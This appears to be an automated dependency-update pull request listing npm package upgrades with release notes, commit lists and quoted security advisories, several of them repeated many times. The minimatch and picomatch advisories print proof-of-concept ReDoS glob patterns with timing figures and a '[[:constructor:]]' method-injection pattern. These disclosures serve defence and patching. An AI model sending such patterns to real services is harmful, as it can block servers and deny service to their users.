minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Commits
See the full diff on Github. The new version differs by 5 commits:
โ๏ธ ms (indirect, 2.1.2 โ 2.1.3) ยท Repo
Release Notes
2.1.3
Patches
- Rename zeit to vercel: #151
- Bump eslint from 4.12.1 to 4.18.2: #122
- Add prettier as a dev dependency: #135 #153
- Use GitHub Actions CI: #154
Credits
Huge thanks to @getsnoopy for helping!
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 6 commits:
โ๏ธ node-releases (indirect, 1.1.73 โ 2.0.50) ยท Repo
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ npm-run-path (indirect, 4.0.1 โ 6.0.0) ยท Repo
Release Notes
6.0.0
Breaking
Improvements
5.3.0
5.2.0
5.1.0
5.0.1
- Fix a typo 5ae23bc
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
6.0.0Meta tweaksHandle empty `PATH` better (#21)Make it idempotent (#20)Run tests on Windows (#22)TweaksUpgrade Node.js version and dependencies (#19)5.3.0Add `preferLocal` and `addExecaPath` options (#18)5.2.0Meta tweaksAllow `execPath` to be a file URL (#16)5.1.0Allow `cwd` option to be a `URL` (#15)5.0.1Fix a typo5.0.0Require Node.js 12.20 and move to ESMMove to GitHub Actions (#12)
โ๏ธ open (indirect, 7.4.2 โ 11.0.0) ยท Repo
Release Notes
11.0.0
Breaking
- Require Node.js 20 e789eec
Improvements
- Automatically detect whether PowerShell is accessible in WSL 67109f8
- Add
chromium-browserfallback for Linux b40f4b8- Throw
AggregateErrorinstead of only latest error (#364) 2778ac6Fixes
- Fix app launch failure detection for fallback support ce31b94
- Fix WSL access via remote SSH 8821bf7
- Fix handling of
import.meta.urlnot being available 8ce0f7d- Fix: Suppress PowerShell progress messages on Windows 2283000
- Fix: Ignore stdio on Windows when not waiting for process e1af0ee
- Fix WSL2 local file opening 269b5fd
- Fix spawn handling 966239c
- Fix PowerShell argument escaping 274d704
10.2.0
10.1.2
10.1.1
10.1.0
10.0.4
10.0.3
10.0.2
- Fix Linux compatibility 798cd93
10.0.1
10.0.0
Breaking
- Require Node.js 18 5628dc8
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ open-editor (indirect, 3.0.0 โ 6.0.0) ยท Repo
Release Notes
6.0.0
Breaking
- Require Node.js 20 054c6a2
Improvements
5.1.0
5.0.0
Breaking
Improvements
4.1.1
4.1.0
4.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
6.0.0Require Node.js 20Accept `URL` and `{file: URL}` (#23)5.1.0Add support for Zed (#22)5.0.0Meta tweaksUpdate dependencies (#20)Require Node.js 18 (#21)4.1.1Fix usage without any options (#19)4.1.0Add `wait` option (#17)Fix readme typo (#18)Add VSCodium (#16)4.0.0Require Node.js 12.20 and move to ESM
โ๏ธ optionator (indirect, 0.9.1 โ 0.9.4) ยท Repo ยท Changelog
โ๏ธ path-exists (indirect, 4.0.0 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Breaking
- Require Node.js 12.20 3e66105
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ picomatch (indirect, 2.3.0 โ 4.0.5) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Picomatch has a ReDoS vulnerability via extglob quantifiers
Impact
picomatchis vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as+()and*(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.Examples of problematic patterns include
+(a|aa),+(*|?),+(+(a)),*(+(a)), and+(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example,+(a|aa)compiled to^(?:(?=.)(?:a|aa)+)$and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as+(+(a))and*(+(a))took around 29 seconds to reject a 33-character input on a modern M1 MacBook.Applications are impacted when they allow untrusted users to supply glob patterns that are passed to
picomatchfor compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to
picomatch.Possible mitigations include:
- disable extglob support for untrusted patterns by using
noextglob: true- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as
+()and*()- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch)- Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
๐จ Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching
Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the
POSIX_REGEX_SOURCEobject. Because the object inherits fromObject.prototype, specially crafted POSIX bracket expressions (e.g.,[[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected
picomatchversions that process untrusted or user-controlled glob patterns are potentially impacted.Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like
[[:...:]].Avoiding the use of POSIX bracket expressions if user input is involved.
Manually patching the library by modifying
POSIX_REGEX_SOURCEto use a null prototype:const POSIX_REGEX_SOURCE = { __proto__: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };Resources
- fix for similar issue: #144
- picomatch repository https://github.com/micromatch/picomatch
๐จ Picomatch has a ReDoS vulnerability via extglob quantifiers
Impact
picomatchis vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as+()and*(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.Examples of problematic patterns include
+(a|aa),+(*|?),+(+(a)),*(+(a)), and+(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example,+(a|aa)compiled to^(?:(?=.)(?:a|aa)+)$and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as+(+(a))and*(+(a))took around 29 seconds to reject a 33-character input on a modern M1 MacBook.Applications are impacted when they allow untrusted users to supply glob patterns that are passed to
picomatchfor compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to
picomatch.Possible mitigations include:
- disable extglob support for untrusted patterns by using
noextglob: true- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as
+()and*()- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch)- Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
๐จ Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching
Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the
POSIX_REGEX_SOURCEobject. Because the object inherits fromObject.prototype, specially crafted POSIX bracket expressions (e.g.,[[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected
picomatchversions that process untrusted or user-controlled glob patterns are potentially impacted.Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like
[[:...:]].Avoiding the use of POSIX bracket expressions if user input is involved.
Manually patching the library by modifying
POSIX_REGEX_SOURCEto use a null prototype:const POSIX_REGEX_SOURCE = { __proto__: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };Resources
- fix for similar issue: #144
- picomatch repository https://github.com/micromatch/picomatch
๐จ Picomatch has a ReDoS vulnerability via extglob quantifiers
Impact
picomatchis vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as+()and*(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.Examples of problematic patterns include
+(a|aa),+(*|?),+(+(a)),*(+(a)), and+(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example,+(a|aa)compiled to^(?:(?=.)(?:a|aa)+)$and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as+(+(a))and*(+(a))took around 29 seconds to reject a 33-character input on a modern M1 MacBook.Applications are impacted when they allow untrusted users to supply glob patterns that are passed to
picomatchfor compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to
picomatch.Possible mitigations include:
- disable extglob support for untrusted patterns by using
noextglob: true- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as
+()and*()- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch)- Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
๐จ Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching
Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the
POSIX_REGEX_SOURCEobject. Because the object inherits fromObject.prototype, specially crafted POSIX bracket expressions (e.g.,[[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected
picomatchversions that process untrusted or user-controlled glob patterns are potentially impacted.Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like
[[:...:]].Avoiding the use of POSIX bracket expressions if user input is involved.
Manually patching the library by modifying
POSIX_REGEX_SOURCEto use a null prototype:const POSIX_REGEX_SOURCE = { __proto__: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };Resources
- fix for similar issue: #144
- picomatch repository https://github.com/micromatch/picomatch
Release Notes
4.0.5
What's Changed
- fix: preserve all branches when rewriting risky repeated extglobs by @MerlijnW70 in #182
- fix: honor the windows option when matching basenames by @MerlijnW70 in #183
New Contributors
- @MerlijnW70 made their first contribution in #182
Full Changelog: 4.0.4...4.0.5
4.0.4
This is a security release fixing several security relevant issues.
What's Changed
- Fix for CVE-2026-33671
- Fix for CVE-2026-33672
Full Changelog: 4.0.3...4.0.4
3.0.2
This is a security release fixing several security relevant issues.
What's Changed
- fix: exception when glob pattern contains constructor by @Jason3S in #144
- Fix for CVE-2026-33671
- Fix for CVE-2026-33672
Full Changelog: 3.0.1...3.0.2
2.3.2
This is a security release fixing several security relevant issues.
What's Changed
- fix: exception when glob pattern contains constructor by @Jason3S in #144
- Fix for CVE-2026-33671
- Fix for CVE-2026-33672
Full Changelog: 2.3.1...2.3.2
2.3.1
Fixed
- Fixes bug when a pattern containing an expression after the closing parenthesis (
/!(*.d).{ts,tsx}) was incorrectly converted to regexp (9f241ef).Changed
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 73 commits:
4.0.5Update .verb.md and run verb to generate README documentationOnly run the upload code coverage step for 1 matrix permutationAllow workflow to continue if the code coverage step to failsMerge branch 'codeql-coverage'Merge pull request #183 from MerlijnW70/fix/matchbase-windows-basenameMerge pull request #182 from MerlijnW70/fix/repeated-extglob-drops-branchesConfigure code coverage upload for CodeQLfix: honor the windows option when matching basenamesfix: preserve all branches when rewriting risky repeated extglobsUpdate download badgeFix Test BadgePublish 4.0.4Merge commit from forkMerge commit from forkRun benchmark again against latest minimatch version (#161)docs: clarify what brace expansion syntax is and isn't supported (#134)fix typo in globstars.js test name (#138)docs: fix `makeRe` example (#143)chore: undocument removed options (#146)Remove unused time-require (#160)chore(deps): pin dependencies (#158)Update github workflow and add renovate config (#157)Merge pull request #155 from micromatch/prettierAdd node 24 and 25Revert "chore: use prettier, update eslint, add node 24 and 25 to ci"update actionsrun less workflows in prschore: Remove codeql and active in repo settingschore: use prettier, update eslint, add node 24 and 25 to ci4.0.3Merge pull request #144 from Jason3S/jdent-object-propertiesUpdate constants.jsUpdate lib/constants.jsfix: exception when glob pattern contains `constructor`chore: fix docs (#139)4.0.2bump depsmove `isWindows` to utils4.0.1 - Node.js >=124.0.0update benchmarks, upgrade devDependencies, lintMerge pull request #124 from gwsbhqt/feat/browser-compatMerge pull request #128 from frandiox/patch-1Merge pull request #126 from connor4312/issue-125Merge pull request #129 from styfle/remove-process-globalfix: ci doesnt run on <10 so we can remove this testfix: test less than node 10feat!: remove process global to work outside of nodeAdd sideEffects to package.jsonfix bad `text` values in `parse`feat: compatible browser environment3.0.13.0.0Merge pull request #73 from silverwind/nodepsMerge pull request #96 from rphillips-nz/patch-12.3.1Merge pull request #102 from micromatch/ISSUE-93_incorrect_extglob_expandingfix: support stars in negation extglobs with expression after closing parenthesisMerge pull request #1 from acao/nodeps-posix-exportprovide `picomatch/posix`, documentationremove path completelyMerge pull request #85 from XhmikosR/codeqlMerge pull request #91 from XhmikosR/patch-1Merge pull request #94 from peterblazejewicz/patch-1Merge pull request #98 from mojavelinux/document-automatic-lookbehind-detectiondocument that lookbehind detection is automaticdelete funding.ymlFix one-or-more extglob examplesUpdate README.mdCreate FUNDING.ymlFix .eslintrc.jsonAdd CodeQL Action
โ๏ธ pkg-dir (indirect, 4.2.0 โ 8.0.0) ยท Repo
Release Notes
8.0.0
Breaking
- Require Node.js 18 9337d45
7.0.0
Breaking
6.0.1
6.0.0
Breaking
- Require Node.js 12.20 (#14) 198c9fe aeafb93
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports and the export names changed too.
- The
cwdargument is now part of an options-object.-const pkgDir = require('pkg-dir'); +import {packageDirectory} from 'pkg-dir'; -await pkgDir('/Users/unicorn/foo'); +await packageDirectory({cwd: '/Users/unicorn/foo'});
5.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
โ๏ธ plur (indirect, 4.0.0 โ 5.1.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ prettier (indirect, 1.19.1 โ 3.9.4) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ prettier-linter-helpers (indirect, 1.0.0 โ 1.0.1) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 13 commits:
1.0.1CHANGELOG for v1.0.1fixup type-checkingImprove types (#116)Tooling updates, types and removing unneeded files from the published package (#113)Update dependabot.ymlCreate dependabot.ymlBump prettier from 1.14.3 to 1.18.2 (#7)[Security] Bump lodash from 4.17.11 to 4.17.15 (#5)Bump eslint-plugin-prettier from 2.7.0 to 3.1.1 (#4)[Security] Bump eslint-utils from 1.3.1 to 1.4.2 (#3)Merge pull request #1 from prettier/dependabot/npm_and_yarn/eslint-config-prettier-6.4.0Bump eslint-config-prettier from 3.1.0 to 6.4.0
โ๏ธ reusify (indirect, 1.0.4 โ 1.1.0) ยท Repo
Release Notes
1.1.0
What's Changed
- Fixed a typo in the README by @arliang in #10
- typescript support by @doichev-kostia in #13
- Modernize CI by @mcollina in #15
- Bump @types/node from 20.17.6 to 22.9.0 by @dependabot in #20
- Bump neostandard from 0.11.9 to 0.12.0 by @dependabot in #21
New Contributors
- @arliang made their first contribution in #10
- @doichev-kostia made their first contribution in #13
- @dependabot made their first contribution in #20
Full Changelog: v1.0.4...v1.1.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 8 commits:
โ๏ธ semver (indirect, 7.3.5 โ 7.8.5) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ semver vulnerable to Regular Expression Denial of Service
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ signal-exit (indirect, 3.0.3 โ 4.1.0) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 34 commits:
4.1.0add prettierignore fileremove incorrect line from changelogallow handler to capture signal exitsci: drop node 144.0.3increment by old signal-exit's count, not just 14.0.2chore: remove error logadd no longer setting process.exitCode to changelog4.0.1don't get confused by old versions of signal-exitupdate license yearc8 ignore a platform-specific line4.0.0v4 rewrite: hybrid module, TS, and named exportsci: tests and fundingchore: correct license copyright statementci: makework3.0.7dep updatesgracefully no-op unwrap function3.0.6More properly handle global.process mutatingupdate tap, use automated publish scripts3.0.5chore: update deps[Fix] unbreak v33.0.4gracefully no-op when process missing or invalidremove standardupdate depsdocs: correct spelling mistake (#48)fix: regenerate `pacakge-lock.json` file for npm ci
โ๏ธ slash (indirect, 4.0.0 โ 5.1.0) ยท Repo
Release Notes
5.1.0
5.0.1
5.0.0
Breaking
- Require Node.js 14 5c5d1d6
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 8 commits:
โ๏ธ spdx-exceptions (indirect, 2.3.0 โ 2.5.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 8 commits:
